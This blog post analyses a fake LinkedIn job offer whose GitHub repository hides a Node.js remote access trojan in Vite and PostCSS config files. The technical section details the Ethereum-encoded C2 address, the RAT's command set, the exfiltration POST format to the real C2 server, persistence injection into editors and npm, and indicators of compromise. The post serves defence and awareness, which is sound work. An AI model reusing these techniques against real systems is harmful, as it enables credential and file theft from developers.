{"id":7138,"date":"2026-08-06T13:52:10","date_gmt":"2026-08-06T11:52:10","guid":{"rendered":"https:\/\/www.digitalnisebeobrana.cz\/?p=7138"},"modified":"2026-08-07T09:06:18","modified_gmt":"2026-08-07T07:06:18","slug":"i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain","status":"publish","type":"post","link":"https:\/\/www.digitalnisebeobrana.cz\/en\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/","title":{"rendered":"I ran malware on purpose. It found its server address in the blockchain"},"content":{"rendered":"

Malicious code usually has to reach the attacker’s server somehow. That address is therefore one of the first things anyone pulls out of a sample, because it is something you can act on: block it at the firewall, report it to the hosting provider, warn everyone else about it.<\/p>\n

This one carried no address at all. On execution it asks the public Ethereum network about one specific transaction and unpacks the address out of it. That transaction is public and you can open it in a blockchain explorer<\/a>. The server address is written straight into the recipient of that transaction, just in hexadecimal. If you want to work it out yourself, the exact breakdown and a five-line script are in the technical section at the end.<\/p>\n

It is worth noticing where exactly that information sits. Not in the transaction data. The transaction itself carries no message. That recipient address belongs to nobody: it is not a wallet and not a smart contract, it is simply a number someone made up so that it works out to an IP address and two ports. The message is not in what was sent. The message is in who it was sent to.<\/p>\n

It is like a public listing with a street address in it. The address looks exactly like any other, nothing about it seems odd, and it passes unnoticed. Except the house number is actually a safe combination, and only the intended reader knows that.<\/p>\n

So there is nothing in the code the victim receives that you could block. It contains only a pointer to infrastructure nobody is going to switch off. And even if someone did manage to take that server down, the attacker sends another transaction to a differently assembled address and every deployed copy redirects itself to it.<\/p>\n

<\/span>This malware reached me in a job offer on LinkedIn\"\"<\/a><\/span><\/h2>\n

At the end of July, a man calling himself Aaron Clark messaged me. Verified profile, 500+ connections, one mutual contact, a decently written message. He was offering collaboration on an AI-powered crypto tracker. The project was supposedly already funded, with five million dollars set aside for development, and a token launch on the way. Part-time or full-time, whatever suited me.
\nI do not talk to headhunters very often, so I cannot say whether anything about it was out of the ordinary. At first glance nothing seemed off.
\nAt second glance it did.<\/p>\n

He described himself as a member of Block’s board of directors.<\/p>\n

That is the sentence that made me open his profile properly.<\/p>\n

<\/span>Who is actually writing to me<\/span><\/h2>\n

Block is a publicly traded company. You do not have to guess who sits on the board of a company like that. They are public. Block lists them on its investor relations pages, and as an issuer it has to list them in its SEC filings too. You open the list<\/a> and read the names. Jack Dorsey is on it, co-founder of Block and of Twitter. Jim McKelvey, the other co-founder. Shawn Carter, better known to most people as Jay-Z, since May 2021. And alongside them, people from Sequoia Capital, Goldman Sachs and MIT.<\/p>\n

Aaron Clark is not.<\/p>\n

That took two minutes and would have settled the matter on its own. The rest of the profile only filled in the same picture.<\/p>\n

A career that does not add up.<\/strong> According to the profile he was a project manager at a small company from 2019 to 2021, then self-employed for two years, then CTO of a small AI startup for two years, and from 2024 a board member of one of the largest fintech companies in the world. I have no first-hand experience of that world, but I suspect people reach the board of a company that size by a slightly different route.<\/p>\n

Zero activity.<\/strong> Over a thousand followers, not a single post. Ever. Someone with that position and that reach who has not written one sentence in two years.<\/p>\n

A role that does not fit.<\/strong> A board member of a major fintech company sourcing a freelance frontend developer on LinkedIn, at an hourly rate, for an unrelated AI crypto project. That does not happen.<\/p>\n

\"\"<\/a>A verified profile.<\/strong> The blue badge next to a name does not mean the contents of the profile are true. It means the account passed some verification, typically of identity or a work email address. It says nothing about a claim of board membership. That distinction is exactly what most people skip over, which is why the badge works.<\/p>\n

Fun fact: in the right-hand column, next to that profile, LinkedIn was serving me a paid ad for open positions at Block. The platform treats the name match as a reason to sell advertising rather than a reason to verify anything. And in doing so it lends the scammer credibility.
\nThanks, LinkedIn!<\/p>\n

<\/span>Delete it and report it. Or maybe not?<\/span><\/h2>\n

At this point it was clear this was a scam. But I wanted to know which kind.<\/p>\n

Fake job offers end in several different ways. Sometimes it is a straightforward advance-fee scam. Sometimes it is harvesting personal data. And sometimes the entire story is just wrapping for getting malicious code onto the victim’s machine.<\/p>\n

I was interested in the whole path, not in the fact that someone was lying about their employer. Replying and letting them walk me through their process cost me nothing.<\/p>\n

I asked the ordinary questions. What stage the project was at, what the existing team looked like, which areas they needed help with, whether this was consulting, infrastructure and security, product development or a longer-term role.<\/p>\n

Most of them were never answered.<\/p>\n

On Friday a project overview PDF arrived. On Monday I wrote back that out of that very broad scope, my experience was closest to infrastructure, security, backend architecture and deployment, and asked again what specifically they wanted from me at this stage, whether they had a team and an existing codebase, and what the next step would be.<\/p>\n

This came back:<\/p>\n

Okay,
\nThat is what we want from you. This project’s normal hourly rate is around $100.<\/p><\/blockquote>\n

The first line answers nothing. The rest of the message went on to say the frontend was already built, that I should review it, and that only then<\/strong> would we schedule a technical meeting about timeline and milestones. And to send my GitHub username.<\/p>\n

So I created a separate GitHub account, filled it with AI-generated content to make it look more credible (yes, really) and sent it over on Tuesday morning. The private repository invitation arrived six minutes later.<\/p>\n

The following afternoon, a follow-up:<\/p>\n

Did you get any chance to run and see the project?<\/p><\/blockquote>\n

That is the most revealing sentence in the whole conversation. In all that time, nobody asked me a single technical question. Not what I thought of the architecture, not what I would change about the frontend. The only thing they cared about was whether I had run<\/strong> it.<\/p>\n

<\/span>\"\"<\/a>What was in the repository<\/span><\/h2>\n

The project overview PDF came first. I checked whether it contained any active content. It did not. No JavaScript, no embedded files, no forms. The PDF was not carrying anything; its job was to look like material from a real company and send the reader on to the repository. It did that job well. During a quick check it is easy to honestly verify a document, conclude that it is clean, and then let that feeling spill over onto everything else that came with it.<\/p>\n

The repository reported 6,273 commits. The name and photo of the last commit’s author at the top, a complete frontend structure below. At first glance, a project someone had worked on for months.<\/p>\n

That history was stolen. It belonged to a legitimate open source project, and the attacker placed a single commit on top of it, message “Refactoring codebse for speed”, which deleted over four thousand files and replaced them with a hundred of its own. Only the history was left. Consistent with that, every file in the repository carries the same last-modified date.<\/p>\n

That has an unpleasant side effect. GitHub matches a commit author by email address, and the address in that commit belongs to a real developer of the original project. So the repository page displays the account and photo of an existing person who has nothing to do with any of this. That is why I am not naming him here.<\/p>\n

It is worth being clear about whose problem this actually is. Git, by design, does not verify the author of a commit at all. The name and email are written in by whoever commits, and they can put anything there. It has worked that way from the start, and it follows from Git being decentralised and usable with no server connection.<\/p>\n

What GitHub adds is the presentation. It matches the commit to an account by email, shows a photo and a link to a profile, and by default an unsigned commit gets no marking whatsoever. A forged commit therefore looks exactly like a genuine one. GitHub also explicitly excludes Git email spoofing from its bug bounty, on the grounds that on its own it grants an attacker neither repository access nor any additional privileges. Technically that holds. In practice it means someone else’s name and photo can be used as credibility for free, which is exactly what happened here.<\/p>\n

There are defences, but they are opt-in and you have to turn them on in advance. GitHub lets you hide your own email and commit under an address of the form username@users.noreply.github.com<\/code>. That address stays tied to your account, so your commits are still attributed to you normally; nobody just knows an address they could reuse. The second option is signing commits with a key and enabling what GitHub calls vigilant mode, after which any unsigned commit bearing your name is displayed as unverified.<\/p>\n

\"\"<\/a>The catch is that this only protects the person who set it up. It would have helped the developer whose name appeared in that forged commit only if he had enabled vigilant mode himself.<\/p>\n

The rest of the page was less convincing. Zero stars, zero watchers, zero forks, no contributors, no description. And a .env<\/code> file committed at the root. Don’t do that \ud83d\ude42<\/p>\n

<\/span>README.ai<\/span><\/h2>\n

The README in the repository is a generic template. A welcome line, “How can I run this code?”, a link to installing Node.js through nvm, four steps and a list of technologies used: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.<\/p>\n

That text was not written for this project. It matches the template automatically generated by the AI app builder Lovable, down to the identical wording of the steps and the same list of technologies. The attacker stripped out the references to Lovable itself and the Codespaces section, and left the rest alone.<\/p>\n

In practice this means nobody wrote the bait. Someone had a plausible-looking crypto dashboard generated in a few minutes, mounted it on someone else’s history and sent it out. The cost of producing the wrapper is now effectively zero, which is why offers like this can be sent out in any quantity you like.<\/p>\n

And then there is the last line of those instructions:<\/p>\n

# Step 4: Start the development server with auto-reloading and an instant preview.\r\nnpm run dev<\/code><\/pre>\n
\"\"<\/a>
\nThat command sets off the rest of this story. It never had to be hidden anywhere, because the project itself presents it as the ordinary, expected step. Anyone who wanted to look at that frontend ran it.<\/p>\n
<\/span>What happened when I ran it<\/span><\/h2>\n
I did not, of course, run it on my own machine. I built an isolated sandbox for it: a disposable system with not a single real password, key or wallet on it, cut off from the internet and from the host, behind a gateway of my own that recorded all traffic and let nothing out that I had not permitted in advance. I pointed the attacker’s server at myself, so the malware asked me for everything instead of him. When it finally asked for its main component, I sent it an empty response. It never got to download that last part, and it never ran. That way I could watch the whole sequence without leaving anyone’s program running on a real machine.<\/p>\n
Then I typed what they had asked for.<\/p>\n
npm run dev<\/code><\/pre>\n
On the surface, nothing unusual happened. The dev server came up, no errors on the output, the dashboard would have opened in a browser a moment later. If I had been sitting there as a candidate for a job or a contract, I would have been browsing the UI and noticed nothing.<\/p>\n
Meanwhile this happened. The project connected to a public Ethereum node, one of those services people routinely use to read data off the blockchain, and read a single transaction from it. That transaction held the server address, which it unpacked. It reached that server, downloaded another piece of program from it, ran that, and the new piece asked for the last, main part.<\/p>\n
Under three tenths of a second passed between the command and that point.
\nNot even an Italian gets through an espresso that fast.<\/p>\n
<\/span>What it was and what it would have done<\/span><\/h2>\n
I downloaded that last piece and took it apart without running it. It is a rat. Or rather a RAT, an abbreviation that expands two different ways: remote administration tool, when it is a legitimate program for managing machines remotely, and remote access trojan, when it is the same thing without the owner’s knowledge. The difference is not in the code. It is in whether the owner of the machine knows about it.<\/p>\n
This one was hidden in a frontend configuration file, so the second. It is a program that lets an attacker operate someone else’s computer remotely, as if they were sitting at it.<\/p>\n
This particular one can:<\/p>\n
    \n
  • read the contents of the clipboard<\/li>\n
  • run any command its owner could run on that machine<\/li>\n
  • run any further program the attacker sends it<\/li>\n
  • take any file or an entire directory including subdirectories and upload it to its own server.<\/li>\n<\/ul>\n
    The last one is what matters. This is not a program with a fixed target list that you could dodge by storing your wallet somewhere else. It is remote access. The attacker connects, looks around, and decides on the spot what interests him.<\/p>\n
    In practice it means he can take anything reachable by the account that started the project. Server access keys, Git and cloud logins, configuration files with passwords, saved browser credentials, wallet files, password manager data, source code, documents. And the clipboard, which is incidentally the moment it pays off that people occasionally copy a seed phrase or a password.<\/p>\n
    On an ordinary developer laptop there is usually plenty of that material.<\/p>\n
    All of that, though, it does on command. There is one more thing it does entirely on its own the moment it starts, and that is the most important finding in the whole analysis.<\/p>\n
    <\/span>Deleting the repository is not enough<\/span><\/h2>\n
    About a second after starting, the program looks for installed developer applications and inserts itself into them. Into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm.<\/p>\n
    It writes straight into their files, indented by roughly two hundred spaces, so if someone opens that file in an editor the code sits far past the right edge of the screen and will not be seen during ordinary browsing.<\/p>\n
    The consequence: someone runs a project like this, decides shortly afterwards that it was a stupid idea, deletes the repository and goes to bed. And the infection stays. It sits in the editor and in npm and runs again the next time they are used normally.<\/p>\n
    Deleting the project folder does not solve this.<\/p>\n
    <\/span>Where my evidence ends<\/span><\/h2>\n
    Everything above I either observed at runtime or read directly in the program’s own code. That the repository contains hidden malicious code, that npm run dev<\/code> executes it, that it finds the attacker’s server through the blockchain, downloads and runs further code from there, and that this last piece is a remote access tool that settles into developer applications on its own.<\/p>\n
    What I did not see: an actual attacker at work. My test system contained no real data, so nothing was ever stolen, and I have no idea whether anyone ever issued commands during a real infection. I also do not have the second, parallel branch of the chain. The server stopped answering before I could fetch it.<\/p>\n
    So no, I cannot write that they drained my wallet. I can write that they could have.<\/p>\n
    The approach, the whole structure of the chain and the markers used all match what is publicly described under the names Contagious Interview and DEV#POPPER. None of this is new. It just works well.<\/p>\n
    <\/span>What to do if you ran something like this<\/span><\/h2>\n
    Take the machine off the network so the attacker cannot connect to it.<\/p>\n
    Then search the files of your installed developer applications and npm for the markers \/*RS260605*\/<\/code> and \/*C260521A*\/<\/code>. Exact paths and older marker variants are in the technical section below. Grep finds them reliably; your eyes will not, because they sit far past the right margin.<\/p>\n
    If you find them, you know. If you do not find them, you do not know. This sample is one specific version of one specific campaign, and the next one may well look different. So for a machine holding real credentials, the only reliable answer is a clean reinstall. Cleaning by indicators is good for understanding what happened, not for feeling safe afterwards.<\/p>\n
    And then the part people put off most: treat everything that account could reach as compromised. Keys, tokens, API keys, the contents of configuration files, credentials stored in the browser. Rotate them, do not hope. If you had a cryptocurrency wallet on that machine, move the funds from a new clean device, using a seed generated on that device, not on the affected one.<\/p>\n
    <\/span>What to take away<\/span><\/h2>\n
      \n
    1. A claim about a position at a large company is almost always checkable. The boards of public companies are published and the check takes two minutes.<\/li>\n
    2. If you cannot be bothered to search, drop the whole offer and the profile into any AI tool with web access and have it look them over. It is not bulletproof and it should not be your only filter, but contradictions like “claims a position no public source confirms” turn up in seconds.<\/li>\n
    3. A verified LinkedIn profile does not verify what the profile says.<\/li>\n
    4. When the other side never answers substantive questions about team and scope, but answers instantly on anything that moves things toward running code, that is a signal in itself.<\/li>\n
    5. A private repository invitation is not evidence of legitimacy.<\/li>\n
    6. A long, credible Git history can be copied from someone else’s project. A commit count proves nothing.<\/li>\n
    7. A convincing-looking frontend is now a few minutes of work in an AI builder. How a project looks says nothing about who is behind it.<\/li>\n
    8. A repository can be malicious with no install scripts in it at all. Configuration files for frontend tools are executable code.<\/li>\n
    9. Remote access is more general than a target list. Moving your wallet elsewhere does not protect you.<\/li>\n
    10. Deleting the cloned repository may not remove what has meanwhile been written into your editor and into npm.<\/li>\n
    11. Foreign code runs in a disposable environment with no access to your own data and no open internet. A VM snapshot is not a security boundary.<\/li>\n
    12. A tempting offer, pressure to move fast and a task that amounts to “just run it” are not a coincidence together. It is a pattern that repeats.<\/li>\n<\/ol>\n
      The last point has nothing to do with technology. This exact type of offer reaches developers with a public profile, visible repositories and an interest in cryptocurrency. The attacker does not pick the target at random. The attacker picks it out of publicly available information.<\/p>\n
      \n
      <\/span>Technical analysis<\/span><\/h2>\n
      From here on, this is for anyone interested in exactly how it works, or who needs to check their own machine. The story above should make sense without this part.<\/p>\n
      A note on method. I cut the work of unpacking the obfuscated code down considerably by using AI. My goal was not to reverse someone else’s JavaScript from scratch, but to map the whole process this group uses, from the first LinkedIn contact through to persistence. Every concrete value below, the hashes, paths and commands, I verified against the sample afterwards.<\/p>\n
      <\/span>Lab<\/span><\/h3>\n
      The controlled execution of the sample did not happen on a working machine or in a snapshot of a production system. A snapshot is a rollback tool, not a security boundary.<\/p>\n
      Arch Linux host\r\n\u251c\u2500\u2500 REMnux VM: gateway, interception, packet capture, C2 replay\r\n\u2514\u2500\u2500 Debian 13 VM: disposable victim<\/code><\/pre>\n
      REMnux acted as the victim’s gateway, locally held the real C2 IP address, served the captured malware stages, filtered outbound traffic and recorded packets. Traffic to the known C2 therefore never left the lab.<\/p>\n
      The victim ran as an unprivileged user with no sudo<\/code>. During the malware run there were no shared folders in the VM, no GitHub token, no SSH agent forwarding, no USB, and shared clipboard and drag and drop were both disabled. Outbound traffic was permitted only on TCP 443 toward the current IP addresses of the allowed Ethereum RPC services, and everything else was dropped. Before running the sample I verified that ordinary internet access from the victim failed.<\/p>\n
      I installed dependencies with npm install --ignore-scripts<\/code>. Not because that is sufficient, but to separate what executes during install from what executes during the dev command.<\/p>\n
      I had already fetched the real \/init<\/code> and \/0\/body<\/code> responses separately beforehand, without executing them. So I knew something like that was waiting at the end of the chain, and how large it was. I wanted the loader and both follow-on stages to run normally and leave traces in the process table and in the traffic, while the last link never fired. The gateway therefore returned the responses to those two requests empty:<\/p>\n
      \/init    \u2192 {\"_B\":\"\"}\r\n\/0\/body  \u2192 empty response<\/code><\/pre>\n
      The loader and both follow-on stages ran as a result and left traces behind. The final payload did not run. The real \/init<\/code> response I had captured earlier as inert data and analysed statically, without executing it.<\/p>\n
      <\/span>Where the malicious code was<\/span><\/h3>\n
      package.json<\/code> was clean. No preinstall<\/code>, install<\/code>, postinstall<\/code> or prepare<\/code>. Only the usual dev<\/code>, build<\/code>, lint<\/code> and preview<\/code>.<\/p>\n
      So the common advice to install with --ignore-scripts<\/code> would not have helped here. The malware did not need the install step.<\/p>\n
      The same obfuscated loader was appended to the end of two configuration files:<\/p>\n
      vite.config.ts\r\npostcss.config.js<\/code><\/pre>\n
      The loader was 5,131 bytes, SHA-256:<\/p>\n
      ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c<\/code><\/pre>\n
      Duplicating it across two files means the chain fires whether the developer reaches for the dev server or for the build.<\/p>\n
      <\/span>C2 stored on Ethereum<\/span><\/h3>\n
      The loader queried public Ethereum JSON-RPC endpoints: eth.drpc.org<\/code> and eth-mainnet.public.blastapi.io<\/code> (plus one clearly unusable, ethereum-rpc.publicnode.com1<\/code>).<\/p>\n
      It looked for activity associated with the marker 33ff3edaf55a8e03dcbc7cb40d498a49<\/code>. The specific transaction:<\/p>\n
      Block:     25688067\r\nTx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3\r\nSender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891\r\nRecipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682<\/code><\/pre>\n
      The carrier of the information is not the transaction’s input field but the recipient address:<\/p>\n
      0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682\r\n   |        |    |        |    |\r\n   |        |    |        |    padding, to reach 20 bytes\r\n   |        |    |        port 80\r\n   |        |    23.27.20.187\r\n   |        port 443\r\n   23.27.20.187<\/code><\/pre>\n
      No cryptography, just numbers written in hexadecimal. If you would rather not do the arithmetic by hand, copy this into a file and run it with Python. It downloads nothing, connects to nothing and touches no files:<\/p>\n
      address = \"0x171b14bb01bb171b14bb0050eb7f39c35c47e682\"\r\n\r\nb = bytes.fromhex(address.replace(\"0x\", \"\"))\r\nfor i in (0, 6):\r\n    ip = \".\".join(str(x) for x in b[i:i + 4])\r\n    port = b[i + 4] * 256 + b[i + 5]\r\n    print(\"http:\/\/\" + ip + \":\" + str(port))<\/code><\/pre>\n
      Rotating infrastructure therefore means nothing more than sending another transaction to a differently assembled address.<\/p>\n
      The decoded result:<\/p>\n
      http:\/\/23.27.20.187:443\/boot\r\nhttp:\/\/23.27.20.187:80\/0\/boot<\/code><\/pre>\n
      Although one of the ports is 443, the communication was unencrypted plain HTTP. Port 443 does not guarantee TLS. It guarantees port 443.<\/p>\n
      <\/span>Exact execution sequence<\/span><\/h3>\n
      The process started normally: bash<\/code> \u2192 npm run dev<\/code> \u2192 Vite \u2192 esbuild. In parallel:<\/p>\n
        \n
      1. a connection to Ethereum RPC and derivation of the C2 address;<\/li>\n
      2. connections to 23.27.20.187<\/code> on ports 443 and 80;<\/li>\n
      3. download of two distinct obfuscated JavaScript stages;<\/li>\n
      4. execution through node -e<\/code> in separate processes;<\/li>\n
      5. requests for the final payloads from \/init<\/code> and \/0\/body<\/code>.<\/li>\n<\/ol>\n
        The whole chain from start to the final-payload request took under three tenths of a second. Requests carried a marker identifying the victim:<\/p>\n
        X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0<\/code><\/pre>\n
        <\/span>Final payload analysis<\/span><\/h3>\n
        The captured \/init<\/code> response is 166,703 bytes and has four fields. _U<\/code> is the server base address, _H<\/code> is a copy of the first stage, _B<\/code> is the main payload and _Z<\/code> is the body used for persistence.<\/p>\n
        The main payload was packed into a Function<\/code> constructor with a single generated body of 73,649 characters. Searching it for keywords finds nothing. I unpacked it by evaluating only the string decoder in an isolated context and leaving the operational part alone. That exposed 343 indexed strings and with them the entire command and persistence logic.<\/p>\n
        It is a cross-platform Node.js RAT. Version:<\/p>\n
        260804<\/code><\/pre>\n
        Those digits look like a date in YYMMDD format, meaning 4 August 2026, the day before I ran the sample. The markers used for persistence follow the same pattern (RS260605<\/code>, C260521A<\/code>), as do older variants from 2025. This is an observation rather than a confirmed fact, but it is consistent.<\/p>\n
        On connection it identifies itself to the server, sending a session ID, process ID, OS type, version, campaign label and first and current visit timestamps. The command channel runs over Socket.IO to http:\/\/23.27.20.187:443<\/code>, again unencrypted, retrying every five seconds.<\/p>\n
        <\/span>Command list<\/span><\/h3>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
        Command<\/th>\nWhat it does<\/th>\n<\/tr>\n<\/thead>\n
        ss_info<\/code><\/td>\nreturns version, session ID, OS details, C2 addresses, Node paths, the path it was started from, and timestamps<\/td>\n<\/tr>\n
        ss_ip<\/code><\/td>\nlooks up the victim’s public IP through ip-api.com<\/code><\/td>\n<\/tr>\n
        ss_cb<\/code><\/td>\nreads and sends the clipboard<\/td>\n<\/tr>\n
        ss_upf:<file>,<destination><\/code><\/td>\nuploads one selected file<\/td>\n<\/tr>\n
        ss_upd:<directory>,<destination><\/code><\/td>\nrecursively walks a directory and uploads every file in it<\/td>\n<\/tr>\n
        ss_dir<\/code>, ss_fcd:<path><\/code> and cd<\/code><\/td>\nworking directory control<\/td>\n<\/tr>\n
        ss_stop<\/code><\/td>\nstops an upload in progress<\/td>\n<\/tr>\n
        ss_inz:<path><\/code><\/td>\ninjects the persistent code into a selected file<\/td>\n<\/tr>\n
        ss_inzx:<path><\/code><\/td>\nremoves it from a selected file<\/td>\n<\/tr>\n
        ss_connect:<host><\/code><\/td>\nswitches to another operator-supplied server<\/td>\n<\/tr>\n
        ss_eval:<code><\/code><\/td>\nexecutes arbitrary JavaScript<\/td>\n<\/tr>\n
        ss_eval64:<base64><\/code><\/td>\nthe same, encoded<\/td>\n<\/tr>\n
        ss_exit<\/code> and ss_exit_f<\/code><\/td>\nterminates the process<\/td>\n<\/tr>\n
        anything else<\/td>\nruns as a shell command<\/td>\n<\/tr>\n
        text starting with *<\/code><\/td>\nstarts an arbitrary background program with attacker-supplied arguments<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
        <\/span>Exfiltration format<\/span><\/h3>\n
        POST http:\/\/23.27.20.187\/u\/f\r\nContent-Type: multipart\/form-data\r\n\r\nclient_id = <hostname>$<username>\r\npath      = <operator-selected destination>\r\nfile      = under the local file's basename<\/code><\/pre>\n
        For recursive uploads it walks the selected directory using readdirSync<\/code> and statSync<\/code>, computes each file’s relative path and uploads them one by one so the structure is preserved on the attacker’s side.<\/p>\n
        Even without a single command, the payload automatically sends machine and session metadata over Socket.IO, plus persistence status telemetry to:<\/p>\n
        POST http:\/\/23.27.20.187\/verify-human\/<campaign label><\/code><\/pre>\n
        It reads the clipboard through Get-Clipboard<\/code>, pbpaste<\/code> or xclip<\/code> depending on the platform.<\/p>\n
        <\/span>Persistence paths<\/span><\/h3>\n
        About one second after startup the payload looks for the JavaScript entry points of common developer applications and npm:<\/p>\n
        VS Code          resources\/app\/node_modules\/@vscode\/deviceid\/dist\/index.js\r\nCursor           resources\/app\/node_modules\/@vscode\/deviceid\/dist\/index.js\r\nAntigravity      resources\/app\/node_modules\/@vscode\/deviceid\/dist\/index.js\r\nDiscord          discord_desktop_core\/index.js\r\nGitHub Desktop   resources\/app\/main.js\r\nnpm CLI          node_modules\/npm\/lib\/cli.js<\/code><\/pre>\n
        Paths are defined separately for Windows, macOS and Linux.<\/p>\n
        The injection strips older recognised blocks, adds roughly two hundred spaces and appends:<\/p>\n
        \/*C260521A*\/\r\nglobal['e']='<target label>';\r\nglobal.i='*8-0';\r\n\/* persistence body beginning with \/*RS260605*\/ *\/<\/code><\/pre>\n
        Target labels:<\/p>\n
        app-vscode-eval\r\napp-cursor-eval\r\napp-antigravity-eval\r\napp-discord-eval\r\napp-GitHubDesktop-eval\r\nNPM<\/code><\/pre>\n
        The payload also installs its own dependencies (axios<\/code>, socket.io-client<\/code>, form-data<\/code>) into ~\/.node_modules<\/code> or ~\/.node_module<\/code> and drops a first-visit marker:<\/p>\n
        Linux\/macOS: \/tmp\/.<base64 of username>\r\nWindows:     %LOCALAPPDATA%\Temp\<base64 of username><\/code><\/pre>\n
        <\/span>Environment checks<\/span><\/h3>\n
        The sample tests its environment and behaves differently on a match. It looks at the jsbot<\/code> environment variable, the usernames github-runner<\/code> and buildbot<\/code>, and hostnames such as build-*<\/code>, sandbox-pool-*<\/code>, buildkitsandbox<\/code>, cloudchamber<\/code>, nijin-lab<\/code> and two specific EV-<\/code> names.<\/p>\n
        Practical implication for analysts: do not name your VM after what it is for.<\/p>\n
        <\/span>The secondary branch<\/span><\/h3>\n
        The secondary loader from \/0\/boot<\/code> requests \/0\/body<\/code>, XOR-decodes it with the key YU7m{rE\/>|==b>#~<\/code> and evaluates it. I tried to fetch the body at 15:58 UTC and the server no longer answered on either port. Somewhere between the run and that attempt, the infrastructure went dark.<\/p>\n
        <\/span>Indicators of compromise<\/span><\/h3>\n
        Repository and commit<\/strong><\/p>\n
        Repository: gitcomp88\/AICryptoTrader\r\nHEAD:       319dbc61b24e1655ff61bd604b8aee3aa1ca0941\r\nParent:     b7abbbb6c6f13ced564fd31c74a6396f3e438405\r\nMessage:    Refactoring codebse for speed<\/code><\/pre>\n
        Attacker-side accounts<\/strong><\/p>\n
        gitcomp88\r\ngitforcpc903<\/code><\/pre>\n
        These are investigation indicators, not proof of identity.<\/p>\n
        Malicious files in the repository<\/strong><\/p>\n
        vite.config.ts\r\npostcss.config.js<\/code><\/pre>\n
        Network<\/strong><\/p>\n
        23.27.20.187\r\nhttp:\/\/23.27.20.187:443        Socket.IO command channel\r\n\/boot  \/init  \/0\/boot  \/0\/body\r\n\/u\/f                            stolen file upload\r\n\/verify-human\/<campaign>        telemetry<\/code><\/pre>\n
        Markers<\/strong><\/p>\n
        33ff3edaf55a8e03dcbc7cb40d498a49    campaign identifier\r\n*8-0                                build label\r\n\/*RS260605*\/                        persistence body\r\n\/*C260521A*\/                        injection marker<\/code><\/pre>\n
        Older injection markers: \/*C250617A*\/<\/code>, \/*C250618A*\/<\/code>, \/*C250619A*\/<\/code>, \/*C250620A*\/<\/code>, \/*C260511A*\/<\/code>, \/*C260512A*\/<\/code><\/p>\n
        Version and key<\/strong><\/p>\n
        malware version:        260804\r\nsecondary XOR key:      YU7m{rE\/>|==b>#~<\/code><\/pre>\n
        Local artifacts<\/strong><\/p>\n
        ~\/.node_modules\r\n~\/.node_module\r\n\/tmp\/.<base64 of username>\r\n%LOCALAPPDATA%\Temp\<base64 of username><\/code><\/pre>\n
        Ethereum<\/strong><\/p>\n
        Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3\r\nSender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891\r\nRecipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682\r\nRPC:       eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1<\/code><\/pre>\n
        Hashes<\/strong><\/p>\n
        Project overview PDF:   1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e\r\nRepository loader:      ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c\r\nPrimary \/boot:          950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724\r\nSecondary \/0\/boot:      62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828\r\nDecoded primary:        aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f\r\nDecoded secondary:      929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e\r\nReal \/init JSON:        574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264\r\nField _B:               f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3\r\nUnpacked _B body:       624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd\r\nField _Z:               7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7<\/code><\/pre>\n
        <\/span>The whole chain<\/span><\/h3>\n
        fake profile with an unverifiable position at a large company\r\n\u2192 job offer at an attractive rate\r\n\u2192 private GitHub repository invitation\r\n\u2192 frontend generated in an AI builder as the bait\r\n\u2192 copied history of a legitimate project used as credibility\r\n\u2192 follow-up asking \"have you run it yet?\"\r\n\u2192 obfuscated loader appended to the Vite and PostCSS config\r\n\u2192 npm run dev\r\n\u2192 Ethereum JSON-RPC query\r\n\u2192 C2 address decoded from the recipient of a transaction\r\n\u2192 GET \/boot and \/0\/boot\r\n\u2192 two obfuscated stages through node -e\r\n\u2192 GET \/init\r\n\u2192 Node.js RAT version 260804\r\n\u2192 injection into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm\r\n\u2192 Socket.IO command channel on unencrypted port 443\r\n\u2192 clipboard, shell, eval, recursive directory upload\r\n\u2192 exfiltration to \/u\/f<\/code><\/pre>\n
        <\/span>Limitations<\/span><\/h3>\n
        I unpacked the main payload statically, meaning without executing its operational part. The commands, persistence and exfiltration format described here are read out of its own code, not observed at runtime. I do not have the \/0\/body<\/code> branch, because the C2 stopped responding. The _Z<\/code> persistence body remains heavily obfuscated, although its role and injection mechanism are proven from the main payload. The victim contained no real data, wallets or credentials. GitHub account names, commit metadata, the LinkedIn name and everything the attacker claimed about himself may be fabricated or stolen.<\/p>\n","protected":false},"excerpt":{"rendered":"
